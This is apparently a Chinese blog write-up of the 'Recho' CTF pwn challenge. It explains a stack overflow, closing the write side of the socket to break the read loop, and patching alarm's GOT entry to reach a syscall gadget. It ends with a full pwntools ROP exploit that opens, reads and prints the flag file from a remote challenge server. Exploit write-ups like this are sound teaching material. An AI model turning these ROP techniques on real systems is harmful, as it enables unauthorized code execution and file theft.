• 攻防世界pwn题:Recho


    0x00:查看文件信息

    一个64位二进制文件,canaryPIE保护机制没开。

     

    0x01:用IDA进行静态分析

     

     

    分析:主程序部分是一个while循环,判断条件是read返回值大于0则循环。函数atoi()是将一个字符串转换成整型数据,看栗子:

     

    这样子v7可以由我们所决定,所以很明显第15行存在栈溢出。

     

    个人想法:

    看到程序有一堆输入输出函数,我首先想到的是ret2libc3。在尝试的过程中发现无论如何都跳不出while循环,使用io=send('')不可以。思考无果,上网找WP。在海师傅的文章中,了解到可以用shutdown函数进行操作。而且海师傅是以另外的思路进行泄露的,下面我就借鉴海师傅的思路进行描述。

     

    0x02:深入分析

    首先说一下结束循环的方法:

    使用io.shutdown('write')进行关闭(为啥是write呢?)

    测试一下:

    read不可以,send可以???,recv不可以。在测试sendline时,报错看到了重要信息:KeyError: "direction must be in ['in', 'out', 'read', 'recv', 'send', 'write']"。所以说明只能用这六个参数。然后继续测试,in不可以,out可以)。

    这样子的话,这样总结为不要以程序为对象。而是看参数的函数操纵数据的流向。writesendout可以,说明由内向外是可以的,反则反方向不可以。(很抱歉,由于资料缺乏。难以从本质上了解。目前先这么考虑着)

     

    另外,因为关闭后就不能打开了,除非重新运行程序,所以我们就不能再次ROP到主函数获取输入了。这样很明显就不能用ret2libc3泄露了,虽然你可以第一次泄露出远程libc的版本。但由于机器一般都开有aslr保护机制,这样子libc加载的位置就会在重新执行后发生了改变了。

    所以,我们必须要一次性完成所有操作,也就是get_shell或者cat_flag

     

    可以构造这样的代码来get flag

    1int fd = open("flag",READONLY) (注:READONLY=0

    2read(fd,buf,100)

    3、printf(buf)

     

    1、int fd = open("flag",READONLY)

    程序中已经导入了writeprintfalarmread函数,还缺个open函数。open和这些已导入的函数都是通过系统调用进行调用的,所以libc中应该有系统调用的相关指令,然后改变rax寄存器,使系统调用号变为open的就可以了。

     

    先了解一下32位和64位下的汇编指令的系统调用:

    • 32位:
      • 传参方式:首先将系统调用号传入eax,然后将参数从左到右依次存入ebxecxedx寄存器中,返回值存在eax寄存器中。
      • 调用号:sys_read3,sys_write4
      • 调用方式:使用int 80h中断进行系统调用
    • 64位:
      • 传参方式:首先将系统调用号传入rax,然后将参数从左到右依次存入rdirsirdx寄存器中,返回值存在rax寄存器中。
      • 调用号:sys_read0sys_write1sys_open2
      • 调用方式:使用syscall指令进行系统调用

     

    随便打开个libc,查看alarm函数:

     

     

    系统调用指令syscallalarm起始位置偏移5的位置。可以对alarm.got的值加5,这需要对libc的函数地址运行一次后加载到got表上后进行操作。这里有个gadget可以达到该目的:

     

     

    分别对这两行右键,进行undefine。然后对第一行右键,进行code。就可以得到如下gadget

     

     

    指令 add [rdi],al ,我们可以先让rdi = got['alarm'],然后使al = 5,这样执行完该指令后,alarm对应的got表的值就指向了syscall指令。

    其它相关的指令:

     

     

    想要看机器码的,可以在options->general进行设置:

     

    在改了alarm.gotsyscall后,在跳转到syscall开始系统调用之前,还需要做好与open函数相关的准备。有rax=2rdi=&"flag"rsi = 0

     

    pop rax前面已经找出来了,至于字符串"flag"的话,在程序中是有的。但在ida中用shift+f12是看不到的,可能是因为"flag"在数据段,但是shift+f12没有查找数据段的。我们可以在linux终端用strings ./Recho命令查看,或者用ida的菜单栏中的查找文本功能。

     

     

    字符串"flag"

     

     

    pop rsi指令在__libc_csu_init处有,不过没那么"",倒也不影响:

     

     

    复制代码
    这一段的payload:
    
    payload = b'A'*0x38
    payload += p64(pop_rdi) + p64(alarm_got)
    payload += p64(pop_rax) + p64(0x05)
    payload += p64(rdi_add)
    
    payload += p64(pop_rsi_r15) + p64(0) + p64(0)
    payload += p64(pop_rdi) + p64(flag)
    payload += p64(pop_rax) + p64(2)
    payload += p64(alarm_plt)
    复制代码

     

    2、read(fd,buf,100)

    文件描述符012程序已经默认分配了,前面用open函数打开文件的文件描述符应该是3(不行的话可以试试456……)。buf的话,海师傅用的是.bss节上的stdin_buffer:(.bss上有的可以,有的不行)

     

     

    复制代码
    这样子,这一部分的payload为:
    
    payload += p64(pop_rsi_r15) + p64(stdin_buffer) + p64(0)
    payload += p64(pop_rdi) + p64(3)
    payload += p64(pop_rdx) + p64(100)
    payload += p64(read_plt)
    复制代码

     

    3、printf(buf)

    printf函数把第二部分存入stdin_bufferflag打印出来。

    payload为:

    payload += p64(pop_rdi) + p64(stdin_buffer) + p64(printf_plt)

     

    整体EXP

    复制代码
    from pwn import *
    import time
    context(os='linux', arch='amd64', log_level='debug')
    
    #io = process("./Recho")
    io = remote("111.200.241.244",59230)
    elf = ELF("./Recho")
    
    pop_rax = 0x4006FC
    pop_rdx = 0x4006FE
    pop_rsi_r15 = 0x4008A1
    pop_rdi = 0x4008A3
    rdi_add = 0x40070D
    
    flag = 0x601058
    stdin_buffer = 0x601070
    alarm_got = elf.got['alarm']
    alarm_plt = elf.plt['alarm']
    read_plt = elf.plt['read']
    printf_plt = elf.plt['printf']
    
    io.recvuntil("Welcome to Recho server!\n")
    io.sendline("400")
    
    payload = b'A'*0x38
    payload += p64(pop_rdi) + p64(alarm_got)
    payload += p64(pop_rax) + p64(0x05)
    payload += p64(rdi_add)
    
    payload += p64(pop_rsi_r15) + p64(0) + p64(0)
    payload += p64(pop_rdi) + p64(flag)
    payload += p64(pop_rax) + p64(2)
    payload += p64(alarm_plt)
    
    payload += p64(pop_rsi_r15) + p64(stdin_buffer) + p64(0)
    payload += p64(pop_rdi) + p64(3)
    payload += p64(pop_rdx) + p64(100)
    payload += p64(read_plt)
    payload
    += p64(pop_rdi) + p64(stdin_buffer) + p64(printf_plt)
    payload
    = payload.ljust(400,b'\x00') io.sendline(payload) io.shutdown('write') sleep(1) io.interactive()
    复制代码

     

    0x03:个人感触

     累~

    这题要在程序里面不断翻找合适的gadget去一步步构造自己想要的执行流,还是得多看看汇编,深入理解程序执行过程中汇编指令的协助。二进制的道路,任重而道远~


     

     tolele

    2022-07-02

  • 相关阅读:
    FTP文件传输服务器原理
    RabbitMQ初步到精通-第二章-RabbitMQ介绍
    前端学习-平面转换
    前端开发攻略---用原生JS在网页中也能实现语音识别
    微服务保护--Sentinel
    任务调度线程池-应用定时任务
    初学白盒测试
    Array.from()的使用方法(数组去重,伪数组转为数组,数组浅克隆),Set和Map数据结构
    Linux系统常用命令总结-2022
    获取 Adobe Creative Cloud 2023 创意应用软件,解锁无限创造力
  • 原文地址:https://www.cnblogs.com/tolele/p/16438162.html